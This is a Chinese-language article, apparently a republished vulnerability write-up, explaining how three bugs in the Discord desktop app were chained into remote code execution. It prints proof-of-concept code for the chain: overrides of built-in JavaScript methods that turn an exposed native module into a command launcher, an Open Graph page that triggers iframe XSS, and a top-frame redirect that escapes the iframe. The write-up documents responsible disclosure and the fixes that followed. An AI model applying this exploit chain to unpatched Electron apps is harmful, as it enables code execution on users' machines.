这篇文章给大家介绍综合三个Bug怎样实现Discord桌面应用RCE漏洞,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
通过多个bug的综合利用,成功发现了Discord桌面应用的远程代码执行漏洞(RCE)。
Discord 是一款适用于游戏玩家一体化语音和文字聊天的即时通信(IM)软件。 目前 Discord 已经覆盖 Windows、MacOS、Android、iOS、Windows Phone等多种主流平台。
由于我对Electron架构的APP漏洞测试比较有经验,而刚好Discord应用正是基于Electron架构开发的,且我也是一名Discord用户,所以本着测试把玩的心态,我就对Discord进行了分析。
我发现了以下Discord应用存在的三个bug,综合利用最终形成了RCE漏洞:
Missing contextIsolation(contextIsolation功能未启用)
XSS in iframe embeds(iframe嵌入功能中的XSS)
Navigation 导航限制功能绕过 (Navigation restriction bypass,CVE-2020-15174)
在测试Electron架构时,通常我会先检查BrowserWindow API的选项,当创建浏览器窗口时BrowserWindow API会被调用。测试时,我就在想,当Electron渲染器(renderer)加载时,怎样的任意JS代码执行才会引起RCE?
虽然Discord的Electron架构并不是开源的,但Electron的JS代码是保存在应用本地,所以我是可以提取查看到的。通过本地JS代码的查看,我发现在APP主界面后台下,使用了以下方法函数:
const mainWindowOptions = { title: 'Discord', backgroundColor: getBackgroundColor(), width: DEFAULT_WIDTH, height: DEFAULT_HEIGHT, minWidth: MIN_WIDTH, minHeight: MIN_HEIGHT, transparent: false, frame: false, resizable: true, show: isVisible, webPreferences: { blinkFeatures: 'EnumerateDevices,AudioOutputDevices', nodeIntegration: false, preload: _path3.default.join(__dirname, 'mainScreenPreload.js'), nativeWindowOpen: true, enableRemoteModule: false, spellcheck: true } };
从上述代码片段中,可以看出,我们着重需要检查的是其中的nodeIntegration和contextIsolation配置,这里的nodeIntegration都被配置为了false,且原先未修改版本的和contextIsolation也被配置为了false。
如果nodeIntegration为true,那么web页面的JS代码可以通过调用require()方法使用Node.js功能。比如,在Windows系统中执行以下计算器calc.exe程序的代码:
<script> require('child_process').exec('calc'); </script>
而在Discord这里,nodeIntegration为false,所以我也不能调用require()去使用Node.js功能。然而,仍然存在一种访问Node.js功能的方法。接下来且听我慢慢解释。
Discord中的另一重要功能contextIsolation也配置为了false,该功能用来隔离不信任的内容,所以,如果你想消除RCE,那么该功能就不应该配置为false。如果contextIsolation为false,那么web页面中的JS可以影响Electron内部渲染时的JS代码和预加载脚本执行,(这里Electron内部渲染时的JS代码指Web页面之外的JS脚本),例如,假设用Web页面JS中的方法函数,把Electron内置JS的方法Array.prototype.join覆盖掉,那么Web页面之外的JS脚本在加载join方法时,就会调用后来被覆盖的方法函数。
这种行为是很危险的,因为这样一来,可以不用考虑nodeIntegration配置,直接用覆盖的方式,就可以让Electron允许Web页面之外的JS脚本使用Node.js特性,这种方式即使在nodeIntegration配置为false的情况下,都还还可演变为RCE漏洞。
我顺便提一下,类似的缺陷早在2016年我在Cure53公司时就已经发现了,当时我上报给了Electron安全团队,后来在Electron架构中就引入了contextIsolation功能。以下为最近才公开的技术细节PDF:
https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view
https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en
contextIsolation功能的引入目的在于隔离Web页面和Web页面之外的JS代码,让它们在执行时不会产生相互影响。该功能非常有必要,因为如果存在不被信任的内容或操作,就会产生安全问题。而在Discord这里,该功能却被配置为false,被禁用了。因此,遵循上述覆盖JS脚本的方法,我对Discord的此处缺陷发起了测试。
由于Electron内置的JS代码在渲染时可以在任意的Electron APP中执行,所以一般我测试Electron的RCE时,习惯首先在渲染时用Electron内置的JS代码来测试。在我的文章中,我写到了可以用Electron在执行navigation timing时的代码来实现RCE,该缺陷不仅可以从代码中发现,还可从其它地方发现(以后我会公布详细的PoC实例)。但是,由于目标应用不同的Electron版本使用或BrowserWindow选项设置,Discord这里Electron运行启动时,我实际测试的PoC总是不稳定,所以我把测试重点放在了预加载脚本上。
测试预加载脚本时,我发现Discord应用曝露了DiscordNative.nativeModules.requireModule('MODULE-NAME')方法函数,该函数功能在于可以通过其把一些模块功能调用到Web页面中去实现。然而,经测试发现,我并不能有效地调用类似child_process的模块实现RCE,但却可以用之前说过的覆盖方法,覆盖掉Discord Electron中内置的JS方法,干扰曝露模块的执行,以此实现RCE。
以下为相关的PoC。当覆盖掉Discord Electron中内置的RegExp.prototype.test和Array.prototype.join方法,调用"discord_utils"模块中定义的getGPUDriverVersions方法函数时,可以触发执行calc.exe程序:
RegExp.prototype.test=function(){ return false; } Array.prototype.join=function(){ return "calc"; } DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
getGPUDriverVersions方法函数用来执行"execa"库调用:
module.exports.getGPUDriverVersions = async () => { if (process.platform !== 'win32') { return {}; } const result = {}; const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`; try { result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); } catch (e) { result.nvidia = {error: e.toString()}; } return result; };
通常,"execa"库又是用来执行nvidiaSmiPath变量中指定的"nvidia-smi.exe"显卡程序的,但由于覆盖掉了RegExp.prototype.test 和 Array.prototype.join方法,"execa"库中nvidiaSmiPath变量名即被覆盖为了"calc"。
具体来说,nvidiaSmiPath中的变量覆盖需要改变以下两个JS文件:
https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36
https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55
到了这步,"nvidia-smi.exe"可以成功被替换为"calc",那么接下来只需找到执行JS代码的方式即可成功实现RCE了。
在我尝试挖掘XSS的过程中,我发现Discord APP支持类似autolink或Markdown的功能,这有点意思。经测试,如果Discord用户交流信息中有视频帖子,如You-tube URL,那么这里类似Markdown的iframe嵌入功能即可显示出视频播放器(video player)来。
由于Discord涉及到用户的各种社交交流信息,所以其支持Open Graph Protocol(开放内容协议),如果用户交流信息中包含OGP信息,那么Discord应用即会显示出其中出现的网页标题、描述、缩略图和一些相关的视频内容。当用户交流信息中的视频URL链接被嵌入到iframe中后,Discord应用会提取出该视频URL链接。后续,我无法查看到Discord应用相关的iframe嵌入功能说明文档,就只好在其CSP frame-src 指令中寻找线索,发现其采用了以下CSP策略:
Content-Security-Policy: [...] ; frame-src https://*.you-tube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com
可以看到,其中列出了允许iframe嵌入的策略(如对You-Tube, Twitch, Spotify视频的嵌入)。接下来,我就对这些域名一个一个进行测试,希望在其中能在iframe视频嵌入时触发XSS。经过测试,我发现域名sketchfab.com可以在iframe嵌入时产生XSS,这是一个简单的DOM-based XSS。以下是我根据OGP协议制作的一个PoC,当我把该URL链接以聊天方式发送给另一位Discord用户时,点击其中的iframe,就会触发任意的JS代码执行:
https://l0.cm/discord_rce_og.html
<head> <meta charset="utf-8"> <meta property="og:title" content="RCE DEMO"> [...] <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed"> <meta property="og:video:type" content="text/html"> <meta property="og:video:width" content="1280"> <meta property="og:video:height" content="720"> </head>
现在,虽然发现了XSS,但是触发的JS代码却只能在iframe中执行。由于Electron不会把“Web页面之外的JS代码”加载进入iframe中,所以即使我覆盖了其iframe内置的JS方法,还是不能调用Node.js相关功能。因此,要实现真正的RCE,还需要跳出iframe限制,在用户浏览内容层面去考虑。这就需要在iframe框架中创建一个新窗口,或是从iframe中导航(navigating)到另一URL中的顶层窗口。
经过对相关代码的分析,我发现Navigation restriction(导航限制)的主要代码中用到了"new-window" 和 "will-navigate"两个事件:
mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => { e.preventDefault(); if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) { popoutWindows.openOrFocusWindow(e, windowURL, frameName, options); } else { _electron.shell.openExternal(windowURL); } }); [...] mainWindow.webContents.on('will-navigate', (evt, url) => { if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) { evt.preventDefault(); } });
只要突破这里,就可以在iframe框架中创建一个新窗口,或是从iframe中导航(navigating)到另一URL中的顶层窗口。然而,这里存在着一个让我完全意想不到的缺陷。
在我对导航限制相关代码进行检查过程中,我本认为iframe对导航(navigation)应该是有限制的,但我惊奇地发现,iframe不知怎的对导航机制竟然没有限制。我本来想着,"will-navigate"事件和preventDefault()会在导航动作绕过发生之前进行相关的捕捉或拦截,但是这却没有。
为了进行导航绕过测试,我创建了一个简单的Electron应用,然后发现,顶部导航(top navigation)中的"will-navigate" 事件并不会从iframe中跳出,具体来说,如果顶部导航的所属域和iframe的所属域相同,"will-navigate" 事件会跳出,否则就不会跳出。这并不是一种合乎常理的操作行为,而是个Bug。有了这个Bug,我就能绕过导航限制了。最后,我要做的就是,导航到可以触发XSS的iframe页面,然后在其中包含进RCE Payload代码。
top.location="//l0.cm/discord_calc.html"
最终,综合利用以上三个Bug,我成功在Discord应用中实现的远程代码执行(RCE)。
POC视频:https://tinyurl.com/y5nx6zjy
我通过Discord众测项目上报了这三个漏洞,之后,Discord安全团队禁用了Sketchfab的嵌入功能,然后在iframe中加入了沙箱功能防止导航限制绕过,同时启用了contextIsolation功能。
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